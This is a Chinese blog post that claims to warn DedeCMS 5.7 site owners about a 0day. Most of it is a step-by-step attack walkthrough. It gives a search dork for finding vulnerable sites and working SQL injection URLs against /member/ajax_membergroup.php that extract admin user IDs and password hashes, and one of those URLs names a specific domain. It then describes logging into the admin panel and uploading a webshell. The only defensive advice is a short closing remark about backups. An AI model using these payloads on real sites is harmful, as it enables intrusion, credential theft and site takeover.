织梦cms最新漏洞_织梦cms5.7版本通杀0day漏洞
织梦cms是我们站长最喜欢的开源程序,可以说是它成就了我们成为站长的一个梦,自从织梦cms被收购,创始人离开,织梦好像就一直没有大动作,几乎个几年更新一次,而且更新的都是补漏洞的一些细节,其他的几乎没有变化,就这样新哥博客个人感觉织梦现在基本是废了。
目前站长们对织梦最头痛的就是网站老是被黑,其实这个一直就存在,只不过随着用户群体增大,被黑的几率就越来越大,这也是没有办法。
好了, 题外话可能说多了,今天来说说,最新织梦cms5.7版本通杀0day漏洞,希望大家要小心,维护好自己的网站:
织网5.7的漏洞,可任意上传~
搜索关键词:Powered by DedeCMSV57_GBK 2004-2011 DesDev Inc
访问/data/admin/ver.txt来查看cms
然后访问/member/ajax_membergroup.php?action=post&membergroup=1,出现”朋友 修改”即可注入
通过注入得到管理员帐号密码,搜后台,上传大马OK~提权还在学习阶段~
查看网站的版本
code 区域cms /data/admin/ver.txt
查看是否有”朋友 修改”,有则存在注入
code 区域/member/ajax_membergroup.php?action=post&membergroup=1
帐号
code 区域https://www.dzdyk.com /member/ajax_membergroup.php?action=post&membergroup=@`’` Union select userid from `%23@__admin` where 1 or id=@`’`
去掉前三位和最后一位,得到管理员密码
code 区域/member/ajax_membergroup.php?action=post&membergroup=@`’` Union select pwd from `%23@__admin` where 1 or id=@`’`
扫后台,登录成功
后台页面
模块-文件管理器-文件上传 上传大马
登录webshell
以上就是最新发现的织梦cms漏洞,各位要注意了,要勤备份网站,每天及时发现网站有没有新的文件进来。对于织梦cms程序老是被黑,除了传统的更改文件名,移动文件目录,其他的也没有什么好的办法,只能用土办法了。
评论0